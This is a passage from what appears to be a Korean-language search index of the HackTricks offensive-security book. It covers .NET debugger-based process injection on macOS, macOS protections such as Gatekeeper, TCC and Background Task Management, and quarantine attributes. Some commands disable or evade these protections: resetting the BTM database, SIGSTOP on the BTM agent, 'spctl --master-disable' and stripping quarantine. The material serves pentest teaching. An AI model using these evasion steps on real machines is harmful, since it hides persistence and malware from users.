또는 실패를 확인합니다: c read(rd, &sReceiveHeader, sizeof(MessageHeader));","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS .Net Applications Injection » 디버깅 세션 설정","id":"2531","title":"디버깅 세션 설정"},"2532":{"body":"디버깅 세션이 설정되면 MT_ReadMemory 메시지 유형을 사용하여 메모리를 읽을 수 있습니다. 함수 readMemory는 읽기 요청을 보내고 응답을 검색하는 데 필요한 단계를 수행하는 자세한 내용을 제공합니다: c bool readMemory(void *addr, int len, unsigned char **output) {\\n// Allocation and initialization\\n...\\n// Write header and read response\\n...\\n// Read the memory from the debuggee\\n...\\nreturn true;\\n} 완전한 개념 증명(POC)은 여기 에서 확인할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS .Net Applications Injection » 메모리 읽기","id":"2532","title":"메모리 읽기"},"2533":{"body":"유사하게, writeMemory 함수를 사용하여 메모리를 쓸 수 있습니다. 이 과정은 메시지 유형을 MT_WriteMemory로 설정하고, 데이터의 주소와 길이를 지정한 다음, 데이터를 전송하는 것을 포함합니다: c bool writeMemory(void *addr, int len, unsigned char *input) {\\n// Increment IDs, set message type, and specify memory location\\n...\\n// Write header and data, then read the response\\n...\\n// Confirm memory write was successful\\n...\\nreturn true;\\n} 연관된 POC는 여기 에서 확인할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS .Net Applications Injection » 메모리 쓰기","id":"2533","title":"메모리 쓰기"},"2534":{"body":"코드를 실행하려면 rwx 권한이 있는 메모리 영역을 식별해야 하며, 이는 vmmap -pages:를 사용하여 수행할 수 있습니다. bash vmmap -pages [pid]\\nvmmap -pages 35829 | grep \\"rwx/rwx\\" 함수 포인터를 덮어쓸 위치를 찾는 것은 필요하며, .NET Core에서는 **Dynamic Function Table (DFT)**를 타겟팅하여 이를 수행할 수 있습니다. 이 테이블은 jithelpers.h 에서 자세히 설명되어 있으며, 런타임에서 JIT 컴파일 헬퍼 함수에 사용됩니다. x64 시스템의 경우, 서명 검색을 사용하여 libcorclr.dll에서 심볼 _hlpDynamicFuncTable에 대한 참조를 찾을 수 있습니다. MT_GetDCB 디버거 함수는 헬퍼 함수의 주소인 m_helperRemoteStartAddr를 포함하여 유용한 정보를 제공합니다. 이는 프로세스 메모리에서 libcorclr.dll의 위치를 나타냅니다. 이 주소는 DFT를 검색하고 함수 포인터를 셸코드의 주소로 덮어쓰는 데 사용됩니다. PowerShell에 대한 주입을 위한 전체 POC 코드는 여기 에서 접근할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS .Net Applications Injection » .NET Core 코드 실행","id":"2534","title":".NET Core 코드 실행"},"2535":{"body":"https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/ tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS .Net Applications Injection » References","id":"2535","title":"References"},"2536":{"body":"Reading time: 6 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS 보안 보호","id":"2536","title":"macOS 보안 보호"},"2537":{"body":"Gatekeeper는 일반적으로 Quarantine + Gatekeeper + XProtect 의 조합을 의미하며, 이는 사용자가 잠재적으로 악성 소프트웨어를 실행하는 것을 방지 하려고 시도하는 3개의 macOS 보안 모듈입니다. 자세한 정보는 다음에서 확인할 수 있습니다: macOS Gatekeeper / Quarantine / XProtect","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » Gatekeeper","id":"2537","title":"Gatekeeper"},"2538":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » 프로세스 제한","id":"2538","title":"프로세스 제한"},"2539":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » MACF","id":"2539","title":"MACF"},"254":{"body":"포트 스캐닝: 공격자는 어떤 UDP 포트가 들어오는 미디어 세션을 처리하는지 추측해야 하며, 이러한 포트에 null 암호 스위트를 사용한 ClientHello 메시지를 전송하여 취약점을 유발합니다. 공격 다이어그램: 이 과정은 공격자가 서버에 여러 ClientHello 메시지를 전송하고, 정당한 신호 및 DTLS 메시지와 교차하여 잘못된 암호 스위트로 인해 핸드셰이크 실패로 이어지는 순서를 포함합니다.","breadcrumbs":"Pentesting Network » WebRTC DoS » 공격 과정","id":"254","title":"공격 과정"},"2540":{"body":"macOS SIP","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » SIP - 시스템 무결성 보호","id":"2540","title":"SIP - 시스템 무결성 보호"},"2541":{"body":"MacOS 샌드박스는 샌드박스 프로필에 지정된 허용된 작업 으로 샌드박스 내에서 실행되는 애플리케이션을 제한 합니다. 이는 애플리케이션이 예상된 리소스만 접근하도록 보장 하는 데 도움이 됩니다. macOS Sandbox","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » 샌드박스","id":"2541","title":"샌드박스"},"2542":{"body":"**TCC (투명성, 동의 및 제어)**는 보안 프레임워크입니다. 이는 애플리케이션의 권한을 관리 하도록 설계되었으며, 특히 민감한 기능에 대한 접근을 규제합니다. 여기에는 위치 서비스, 연락처, 사진, 마이크, 카메라, 접근성 및 전체 디스크 접근 과 같은 요소가 포함됩니다. TCC는 앱이 이러한 기능에 접근하기 위해 명시적인 사용자 동의를 얻어야만 하도록 보장하여 개인 데이터에 대한 프라이버시와 제어를 강화합니다. macOS TCC","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » TCC - 투명성, 동의 및 제어","id":"2542","title":"TCC - 투명성, 동의 및 제어"},"2543":{"body":"macOS의 실행 제약은 프로세스 시작을 규제 하는 보안 기능으로, 누가 프로세스를 시작할 수 있는지, 어떻게 , 어디서 시작할 수 있는지를 정의합니다. macOS Ventura에서 도입된 이 기능은 시스템 바이너리를 신뢰 캐시 내의 제약 카테고리로 분류합니다. 모든 실행 가능한 바이너리는 자기 , 부모 , 책임 제약을 포함한 시작 에 대한 규칙 이 설정되어 있습니다. macOS Sonoma에서 제3자 앱에 대해 환경 제약으로 확장된 이 기능은 프로세스 시작 조건을 규제하여 잠재적인 시스템 악용을 완화하는 데 도움이 됩니다. macOS Launch/Environment Constraints & Trust Cache","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » 실행/환경 제약 및 신뢰 캐시","id":"2543","title":"실행/환경 제약 및 신뢰 캐시"},"2544":{"body":"악성 소프트웨어 제거 도구(MRT)는 macOS의 보안 인프라의 또 다른 부분입니다. 이름에서 알 수 있듯이 MRT의 주요 기능은 감염된 시스템에서 알려진 악성 소프트웨어를 제거하는 것 입니다. Mac에서 악성 소프트웨어가 감지되면(XProtect 또는 다른 방법으로), MRT를 사용하여 자동으로 악성 소프트웨어를 제거 할 수 있습니다. MRT는 백그라운드에서 조용히 작동하며, 일반적으로 시스템이 업데이트되거나 새로운 악성 소프트웨어 정의가 다운로드될 때 실행됩니다(악성 소프트웨어를 감지하기 위한 규칙이 바이너리 내에 있는 것으로 보입니다). XProtect와 MRT는 모두 macOS의 보안 조치의 일부이지만, 서로 다른 기능을 수행합니다: XProtect 는 예방 도구입니다. 이는 파일이 다운로드될 때 (특정 애플리케이션을 통해) 파일을 검사하고, 알려진 유형의 악성 소프트웨어가 감지되면 파일이 열리는 것을 방지 하여 악성 소프트웨어가 시스템에 감염되는 것을 방지합니다. MRT 는 반응 도구입니다. 이는 시스템에서 악성 소프트웨어가 감지된 후 작동하며, 문제의 소프트웨어를 제거하여 시스템을 정리하는 것을 목표로 합니다. MRT 애플리케이션은 **/Library/Apple/System/Library/CoreServices/MRT.app**에 위치합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » MRT - 악성 소프트웨어 제거 도구","id":"2544","title":"MRT - 악성 소프트웨어 제거 도구"},"2545":{"body":"macOS 는 이제 도구가 잘 알려진 코드 실행 지속 기술 (예: 로그인 항목, 데몬 등)을 사용할 때마다 알림 을 제공합니다. 이를 통해 사용자는 어떤 소프트웨어가 지속되고 있는지 더 잘 알 수 있습니다. 이 기능은 /System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/backgroundtaskmanagementd에 위치한 데몬 과 /System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Support/BackgroundTaskManagementAgent.app에 위치한 에이전트 와 함께 작동합니다. **backgroundtaskmanagementd**가 지속적인 폴더에 설치된 무언가를 아는 방법은 FSEvents를 가져오고 이를 위한 핸들러 를 생성하는 것입니다. 또한, 애플이 관리하는 잘 알려진 애플리케이션 이 포함된 plist 파일이 있으며, 이는 /System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/attributions.plist에 위치합니다. json [...]\\n\\"us.zoom.ZoomDaemon\\" => {\\n\\"AssociatedBundleIdentifiers\\" => [\\n0 => \\"us.zoom.xos\\"\\n]\\n\\"Attribution\\" => \\"Zoom\\"\\n\\"Program\\" => \\"/Library/PrivilegedHelperTools/us.zoom.ZoomDaemon\\"\\n\\"ProgramArguments\\" => [\\n0 => \\"/Library/PrivilegedHelperTools/us.zoom.ZoomDaemon\\"\\n]\\n\\"TeamIdentifier\\" => \\"BJ4HAAB9B3\\"\\n}\\n[...]","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » 백그라운드 작업 관리","id":"2545","title":"백그라운드 작업 관리"},"2546":{"body":"Apple cli 도구를 사용하여 구성된 모든 백그라운드 항목을 열거할 수 있습니다: bash # The tool will always ask for the users password\\nsfltool dumpbtm 또한, DumpBTM 를 사용하여 이 정보를 나열하는 것도 가능합니다. bash # You need to grant the Terminal Full Disk Access for this to work\\nchmod +x dumpBTM\\nxattr -rc dumpBTM # Remove quarantine attr\\n./dumpBTM 이 정보는 **/private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v4.btm**에 저장되며, Terminal은 FDA가 필요합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » Enumeration","id":"2546","title":"Enumeration"},"2547":{"body":"새로운 지속성이 발견되면 ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD 유형의 이벤트가 발생합니다. 따라서 이 이벤트 가 전송되는 것을 방지 하거나 사용자에게 경고하는 에이전트 를 방지하는 방법은 공격자가 BTM을 _ 우회 _하는 데 도움이 됩니다. 데이터베이스 재설정 : 다음 명령을 실행하면 데이터베이스가 재설정됩니다(기초부터 다시 구축해야 함). 그러나 어떤 이유로 인해, 이를 실행한 후에는 시스템이 재부팅될 때까지 새로운 지속성이 경고되지 않습니다 . root 권한이 필요합니다. bash # Reset the database\\nsfltool resettbtm 에이전트 중지 : 새로운 탐지가 발견될 때 사용자에게 알리지 않도록 에이전트에 중지 신호를 보낼 수 있습니다. bash # Get PID\\npgrep BackgroundTaskManagementAgent\\n1011 # Stop it\\nkill -SIGSTOP 1011 # Check it\'s stopped (a T means it\'s stopped)\\nps -o state 1011\\nT 버그 : 지속성을 생성한 프로세스가 그 직후에 빠르게 존재하면 , 데몬은 그것에 대한 정보를 얻으려고 시도하고 , 실패하며 , 새로운 것이 지속되고 있다는 이벤트를 보낼 수 없습니다 . BTM에 대한 참고자료 및 추가 정보 : https://youtu.be/9hjUmT031tc?t=26481 https://www.patreon.com/posts/new-developer-77420730?l=fr https://support.apple.com/en-gb/guide/deployment/depdca572563/web tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » BTM 조작하기","id":"2547","title":"BTM 조작하기"},"2548":{"body":"Reading time: 20 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Gatekeeper / Quarantine / XProtect » macOS Gatekeeper / Quarantine / XProtect","id":"2548","title":"macOS Gatekeeper / Quarantine / XProtect"},"2549":{"body":"Gatekeeper 는 Mac 운영 체제를 위해 개발된 보안 기능으로, 사용자가 신뢰할 수 있는 소프트웨어만 시스템에서 실행하도록 보장합니다. 이는 사용자가 App Store 외부의 소스 에서 다운로드하고 열려고 시도하는 소프트웨어(앱, 플러그인 또는 설치 패키지 등)를 검증 함으로써 작동합니다. Gatekeeper의 핵심 메커니즘은 검증 프로세스에 있습니다. 다운로드한 소프트웨어가 인정된 개발자에 의해 서명되었는지 확인하여 소프트웨어의 진위를 보장합니다. 또한, 소프트웨어가 Apple에 의해 노타리제이션되었는지 확인하여 알려진 악성 콘텐츠가 없고 노타리제이션 이후에 변조되지 않았음을 확인합니다. 추가로, Gatekeeper는 사용자가 다운로드한 소프트웨어를 처음 열 때 승인을 요청 하여 사용자 제어 및 보안을 강화합니다. 이 보호 장치는 사용자가 무심코 해로운 실행 코드를 실행하는 것을 방지하는 데 도움을 줍니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Gatekeeper / Quarantine / XProtect » Gatekeeper","id":"2549","title":"Gatekeeper"},"255":{"body":"안전한 테스트: Scapy와 같은 도구를 사용하여 공격자는 특정 미디어 포트를 대상으로 DTLS ClientHello 메시지를 재생합니다. 윤리적 테스트를 위해 Chromium의 수정(예: JsepTransport::AddRemoteCandidates)을 사용하여 피해자 행동을 안전하게 모방했습니다. 완화 조치: 해결책은 검증되지 않은 주소에서 오는 패킷을 차단하는 것을 포함하며, 이는 libnice와 같은 라이브러리의 최신 버전에서 구현되었습니다. 주요 해결책은 ICE 검증 프로세스를 신뢰하고 검증된 IP 및 포트 조합에서 오는 패킷만 처리하는 것입니다.","breadcrumbs":"Pentesting Network » WebRTC DoS » 테스트 및 완화","id":"255","title":"테스트 및 완화"},"2550":{"body":"애플리케이션 서명, 즉 코드 서명은 Apple의 보안 인프라의 중요한 구성 요소입니다. 이는 소프트웨어 저자의 신원을 검증 (개발자)하고 코드가 마지막으로 서명된 이후에 변조되지 않았음을 보장하는 데 사용됩니다. 작동 방식은 다음과 같습니다: 애플리케이션 서명: 개발자가 애플리케이션을 배포할 준비가 되면, 개인 키를 사용하여 애플리케이션에 서명 합니다. 이 개인 키는 Apple Developer Program에 등록할 때 Apple이 개발자에게 발급하는 인증서와 연결되어 있습니다 . 서명 프로세스는 앱의 모든 부분에 대한 암호화 해시를 생성하고 이 해시를 개발자의 개인 키로 암호화하는 과정을 포함합니다. 애플리케이션 배포: 서명된 애플리케이션은 개발자의 인증서와 함께 사용자에게 배포되며, 이 인증서에는 해당 공개 키가 포함되어 있습니다. 애플리케이션 검증: 사용자가 애플리케이션을 다운로드하고 실행하려고 시도할 때, Mac 운영 체제는 개발자의 인증서에서 공개 키를 사용하여 해시를 복호화합니다. 그런 다음 현재 애플리케이션 상태를 기반으로 해시를 재계산하고 이를 복호화된 해시와 비교합니다. 일치하면 애플리케이션이 개발자가 서명한 이후로 수정되지 않았음을 의미 하며, 시스템은 애플리케이션 실행을 허용합니다. 애플리케이션 서명은 Apple의 Gatekeeper 기술의 필수적인 부분입니다. 사용자가 인터넷에서 다운로드한 애플리케이션을 열려고 시도할 때 , Gatekeeper는 애플리케이션 서명을 검증합니다. Apple이 알려진 개발자에게 발급한 인증서로 서명되었고 코드가 변조되지 않았다면, Gatekeeper는 애플리케이션 실행을 허용합니다. 그렇지 않으면 애플리케이션을 차단하고 사용자에게 경고합니다. macOS Catalina부터는 Gatekeeper가 애플리케이션이 Apple에 의해 노타리제이션되었는지 도 확인하여 추가 보안 계층을 추가합니다. 노타리제이션 프로세스는 애플리케이션에서 알려진 보안 문제와 악성 코드를 검사하며, 이러한 검사가 통과하면 Apple은 Gatekeeper가 검증할 수 있는 티켓을 애플리케이션에 추가합니다. Check Signatures 일부 악성 샘플 을 확인할 때는 항상 바이너리의 서명 을 확인 해야 합니다. 서명한 개발자 가 이미 악성 코드와 관련이 있을 수 있기 때문입니다. bash # Get signer\\ncodesign -vv -d /bin/ls 2>&1 | grep -E \\"Authority|TeamIdentifier\\" # Check if the app’s contents have been modified\\ncodesign --verify --verbose /Applications/Safari.app # Get entitlements from the binary\\ncodesign -d --entitlements :- /System/Applications/Automator.app # Check the TCC perms # Check if the signature is valid\\nspctl --assess --verbose /Applications/Safari.app # Sign a binary\\ncodesign -s toolsdemo","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Gatekeeper / Quarantine / XProtect » Application Signatures","id":"2550","title":"Application Signatures"},"2551":{"body":"Apple의 노타리제이션 프로세스는 사용자들을 잠재적으로 해로운 소프트웨어로부터 보호하기 위한 추가적인 안전장치 역할을 합니다. 이는 개발자가 자신의 애플리케이션을 Apple의 노타리 서비스 에 제출하여 검토받는 과정을 포함합니다. 이 서비스는 App Review와 혼동해서는 안 됩니다. 이 서비스는 제출된 소프트웨어에서 악성 콘텐츠 와 코드 서명과 관련된 잠재적인 문제를 조사하는 자동화된 시스템 입니다. 소프트웨어가 우려 사항 없이 이 검사를 통과 하면, 노타리 서비스는 노타리제이션 티켓을 생성합니다. 개발자는 이 티켓을 자신의 소프트웨어에 첨부해야 하며, 이를 \'스테이플링\'이라고 합니다. 또한, 노타리제이션 티켓은 온라인에 게시되어 Gatekeeper, Apple의 보안 기술이 이를 접근할 수 있습니다. 사용자가 소프트웨어를 처음 설치하거나 실행할 때, 노타리제이션 티켓의 존재 - 실행 파일에 스테이플링되었거나 온라인에서 발견된 경우 - Gatekeeper에 소프트웨어가 Apple에 의해 노타리제이션되었음을 알립니다 . 결과적으로, Gatekeeper는 초기 실행 대화 상자에 설명 메시지를 표시하여 소프트웨어가 Apple에 의해 악성 콘텐츠에 대한 검사를 받았음을 나타냅니다. 이 과정은 사용자가 자신의 시스템에 설치하거나 실행하는 소프트웨어의 보안에 대한 신뢰를 높입니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Gatekeeper / Quarantine / XProtect » Notarization","id":"2551","title":"Notarization"},"2552":{"body":"caution Sequoia 버전부터 **spctl**은 더 이상 Gatekeeper 구성을 수정할 수 없습니다. **spctl**은 Gatekeeper와 상호작용하고 열거하는 CLI 도구입니다 (XPC 메시지를 통해 syspolicyd 데몬과 함께). 예를 들어, 다음과 같이 GateKeeper의 상태 를 확인할 수 있습니다: bash # Check the status\\nspctl --status caution GateKeeper 서명 검사는 격리 속성 이 있는 파일에 대해서만 수행되며, 모든 파일에 대해 수행되지 않습니다. GateKeeper는 환경 설정 및 서명 에 따라 이진 파일이 실행될 수 있는지 확인합니다: **syspolicyd**는 Gatekeeper를 시행하는 주요 데몬입니다. 이 데몬은 /var/db/SystemPolicy에 위치한 데이터베이스를 유지 관리하며, 데이터베이스를 지원하는 코드 와 SQL 템플릿 을 찾을 수 있습니다. 데이터베이스는 SIP에 의해 제한되지 않으며 root에 의해 쓰기가 가능하고, 데이터베이스 /var/db/.SystemPolicy-default는 다른 데이터베이스가 손상될 경우를 대비한 원본 백업으로 사용됩니다. 또한, 번들 /var/db/gke.bundle 및 **/var/db/gkopaque.bundle**는 데이터베이스에 삽입되는 규칙이 포함된 파일을 포함합니다. root로 이 데이터베이스를 확인할 수 있습니다: bash # Open database\\nsqlite3 /var/db/SystemPolicy # Get allowed rules\\nSELECT requirement,allow,disabled,label from authority where label != \'GKE\' and disabled=0;\\nrequirement|allow|disabled|label\\nanchor apple generic and certificate 1[subject.CN] = \\"Apple Software Update Certification Authority\\"|1|0|Apple Installer\\nanchor apple|1|0|Apple System\\nanchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists|1|0|Mac App Store\\nanchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID\\n[...] **syspolicyd**는 assess, update, record, cancel과 같은 다양한 작업을 수행하는 XPC 서버를 노출하며, 이는 Security.framework의 SecAssessment* API를 사용하여 접근할 수 있습니다. **spctl**은 실제로 XPC를 통해 **syspolicyd**와 통신합니다. 첫 번째 규칙이 \\" App Store \\"로 끝나고 두 번째 규칙이 \\" Developer ID \\"로 끝나는 점에 주목하세요. 이전 이미지에서는 App Store 및 식별된 개발자 의 앱을 실행할 수 있도록 활성화 되어 있었습니다. 그 설정을 App Store로 수정 하면 \\" Notarized Developer ID\\" 규칙이 사라질 것입니다 . 또한 type GKE 의 수천 개의 규칙이 있습니다: bash SELECT requirement,allow,disabled,label from authority where label = \'GKE\' limit 5;\\ncdhash H\\"b40281d347dc574ae0850682f0fd1173aa2d0a39\\"|1|0|GKE\\ncdhash H\\"5fd63f5342ac0c7c0774ebcbecaf8787367c480f\\"|1|0|GKE\\ncdhash H\\"4317047eefac8125ce4d44cab0eb7b1dff29d19a\\"|1|0|GKE\\ncdhash H\\"0a71962e7a32f0c2b41ddb1fb8403f3420e1d861\\"|1|0|GKE\\ncdhash H\\"8d0d90ff23c3071211646c4c9c607cdb601cb18f\\"|1|0|GKE 다음은 해시입니다: /var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth /var/db/gke.bundle/Contents/Resources/gk.db /var/db/gkopaque.bundle/Contents/Resources/gkopaque.db 또는 이전 정보를 다음과 같이 나열할 수 있습니다: bash sudo spctl --list 옵션 --master-disable 및 **--global-disable**는 **spctl**의 서명 검사를 완전히 비활성화 합니다: bash # Disable GateKeeper\\nspctl --global-disable\\nspctl --master-disable # Enable it\\nspctl --global-enable\\nspctl --master-enable 완전히 활성화되면 새로운 옵션이 나타납니다: GateKeeper에 의해 앱이 허용될지 확인할 수 있습니다 : bash spctl --assess -v /Applications/App.app GateKeeper에서 특정 앱의 실행을 허용하기 위해 새로운 규칙을 추가하는 것이 가능합니다: bash # Check if allowed - nop\\nspctl --assess -v /Applications/App.app\\n/Applications/App.app: rejected\\nsource=no usable signature # Add a label and allow this label in GateKeeper\\nsudo spctl --add --label \\"whitelist\\" /Applications/App.app\\nsudo spctl --enable --label \\"whitelist\\" # Check again - yep\\nspctl --assess -v /Applications/App.app\\n/Applications/App.app: accepted Regarding kernel extensions , the folder /var/db/SystemPolicyConfiguration contains files with lists of kexts allowed to be loaded. Moreover, spctl has the entitlement com.apple.private.iokit.nvram-csr because it\'s capable of adding new pre-approved kernel extensions which need to be saved also in NVRAM in a kext-allowed-teams key. Managing Gatekeeper on macOS 15 (Sequoia) and later Starting in macOS 15 Sequoia, end users can no longer toggle Gatekeeper policy from spctl. Management is performed via System Settings or by deploying an MDM configuration profile with the com.apple.systempolicy.control payload. Example profile snippet to allow App Store and identified developers (but not \\"Anywhere\\"): xml \\n\\n\\n\\nPayloadContent\\n\\n\\nPayloadType\\ncom.apple.systempolicy.control\\nPayloadVersion\\n1\\nPayloadIdentifier\\ncom.example.gatekeeper\\nEnableAssessment\\n\\nAllowIdentifiedDevelopers\\n\\n\\n\\nPayloadType\\nConfiguration\\nPayloadIdentifier\\ncom.example.profile.gatekeeper\\nPayloadUUID\\n00000000-0000-0000-0000-000000000000\\nPayloadVersion\\n1\\nPayloadDisplayName\\nGatekeeper\\n\\n","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Gatekeeper / Quarantine / XProtect » spctl & syspolicyd","id":"2552","title":"spctl & syspolicyd"},"2553":{"body":"응용 프로그램이나 파일을 다운로드 하면, 웹 브라우저나 이메일 클라이언트와 같은 특정 macOS 응용 프로그램 이 다운로드된 파일에 \\" 격리 플래그 \\"로 일반적으로 알려진 확장 파일 속성 을 추가합니다. 이 속성은 파일이 신뢰할 수 없는 출처(인터넷)에서 왔음을 표시하는 보안 조치로 작용하며, 잠재적인 위험을 내포하고 있습니다. 그러나 모든 응용 프로그램이 이 속성을 추가하는 것은 아니며, 예를 들어 일반적인 BitTorrent 클라이언트 소프트웨어는 보통 이 과정을 우회합니다. 격리 플래그의 존재는 사용자가 파일을 실행하려고 할 때 macOS의 Gatekeeper 보안 기능을 신호합니다. 격리 플래그가 없는 경우 (일부 BitTorrent 클라이언트를 통해 다운로드된 파일과 같이) Gatekeeper의 검사가 수행되지 않을 수 있습니다 . 따라서 사용자는 덜 안전하거나 알려지지 않은 출처에서 다운로드한 파일을 열 때 주의해야 합니다. [!NOTE] > 코드 서명의 유효성 을 확인하는 것은 코드와 모든 번들 리소스의 암호화된 해시 를 생성하는 것을 포함하는 리소스 집약적인 과정입니다. 또한, 인증서 유효성 확인은 발급 후 취소되었는지 확인하기 위해 Apple의 서버에 온라인 확인 을 수행하는 것을 포함합니다. 이러한 이유로, 앱이 실행될 때마다 전체 코드 서명 및 인증 확인을 실행하는 것은 비현실적입니다 . 따라서 이러한 검사는 격리 속성이 있는 앱을 실행할 때만 수행됩니다. warning 이 속성은 파일을 생성/다운로드하는 응용 프로그램에 의해 설정되어야 합니다 . 그러나 샌드박스된 파일은 생성하는 모든 파일에 이 속성이 설정됩니다. 비샌드박스 앱은 스스로 설정할 수 있거나, Info.plist 에서 LSFileQuarantineEnabled 키를 지정하여 시스템이 생성된 파일에 com.apple.quarantine 확장 속성을 설정하도록 할 수 있습니다. 또한, **qtn_proc_apply_to_self**를 호출하는 프로세스에 의해 생성된 모든 파일은 격리됩니다. 또는 API **qtn_file_apply_to_path**는 지정된 파일 경로에 격리 속성을 추가합니다. 상태를 확인하고 활성화/비활성화 (루트 필요)하는 것이 가능합니다: bash spctl --status\\nassessments enabled spctl --enable\\nspctl --disable\\n#You can also allow nee identifies to execute code using the binary \\"spctl\\" 파일에 격리 확장 속성이 있는지 확인할 수 있습니다 : bash xattr file.png\\ncom.apple.macl\\ncom.apple.quarantine 확장된 속성의 값 을 확인하고 다음과 같이 격리 속성을 작성한 앱을 찾으십시오: bash xattr -l portada.png\\ncom.apple.macl:\\n00000000 03 00 53 DA 55 1B AE 4C 4E 88 9D CA B7 5C 50 F3 |..S.U..LN.....P.|\\n00000010 16 94 03 00 27 63 64 97 98 FB 4F 02 84 F3 D0 DB |....\'cd...O.....|\\n00000020 89 53 C3 FC 03 00 27 63 64 97 98 FB 4F 02 84 F3 |.S....\'cd...O...|\\n00000030 D0 DB 89 53 C3 FC 00 00 00 00 00 00 00 00 00 00 |...S............|\\n00000040 00 00 00 00 00 00 00 00 |........|\\n00000048\\ncom.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5\\n# 00c1 -- It has been allowed to eexcute this file (QTN_FLAG_USER_APPROVED = 0x0040)\\n# 607842eb -- Timestamp\\n# Brave -- App\\n# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded 실제로 프로세스는 \\"생성한 파일에 격리 플래그를 설정할 수 있습니다\\" (저는 이미 생성된 파일에 USER_APPROVED 플래그를 적용해 보았지만 적용되지 않았습니다): 소스 코드 격리 플래그 적용\\nc #include \\n#include enum qtn_flags {\\nQTN_FLAG_DOWNLOAD = 0x0001,\\nQTN_FLAG_SANDBOX = 0x0002,\\nQTN_FLAG_HARD = 0x0004,\\nQTN_FLAG_USER_APPROVED = 0x0040,\\n}; #define qtn_proc_alloc _qtn_proc_alloc\\n#define qtn_proc_apply_to_self _qtn_proc_apply_to_self\\n#define qtn_proc_free _qtn_proc_free\\n#define qtn_proc_init _qtn_proc_init\\n#define qtn_proc_init_with_self _qtn_proc_init_with_self\\n#define qtn_proc_set_flags _qtn_proc_set_flags\\n#define qtn_file_alloc _qtn_file_alloc\\n#define qtn_file_init_with_path _qtn_file_init_with_path\\n#define qtn_file_free _qtn_file_free\\n#define qtn_file_apply_to_path _qtn_file_apply_to_path\\n#define qtn_file_set_flags _qtn_file_set_flags\\n#define qtn_file_get_flags _qtn_file_get_flags\\n#define qtn_proc_set_identifier _qtn_proc_set_identifier typedef struct _qtn_proc *qtn_proc_t;\\ntypedef struct _qtn_file *qtn_file_t; int qtn_proc_apply_to_self(qtn_proc_t);\\nvoid qtn_proc_init(qtn_proc_t);\\nint 